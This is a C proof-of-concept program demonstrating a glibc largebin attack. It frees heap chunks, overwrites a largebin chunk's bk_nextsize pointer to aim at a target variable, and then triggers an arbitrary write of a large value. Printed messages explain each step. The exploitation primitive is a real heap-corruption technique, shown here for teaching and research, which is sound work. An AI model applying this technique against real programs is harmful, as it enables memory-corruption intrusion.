largebin_attack.c

#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>

static uint64_t victim;

int main()
{
    setbuf(stdout, 0);
    setbuf(stderr, 0);

    printf("You can use this technique to write a big number to arbitrary address\n");
    char *p1, *p2, *p3;
    printf("\n1. Create two chunk, and free the larger one into largebin list\n");
    
    p1 = malloc(0x458);
    malloc(0x18);
    p2 = malloc(0x448);
    malloc(0x18);

    free(p1);
    //trigger
    malloc(0x600);

    printf("Now the chunk %p is in largebin\n", p1);

    printf("\n2. Free the smaller one into unsortedbin, and change chunk's bk_nextsize in largebin to &victim-0x20\n");
    free(p2);
    printf("Now the chunk %p is in unsortedbin\n", p2);

    *(uint64_t*)(p1+0x18) = (uint64_t)(&victim)-0x20;

    printf("\n3. Alloc a size not match the the chunk size in unsortedbin\n");
    printf("It will trigger largebin attack, write a big number to victim\n");
    printf("Before attack, victim's value: 0x%lx\n", victim);
    malloc(0x68);
    printf("After attack, victim's value: 0x%lx\n", victim);

    return 0;
}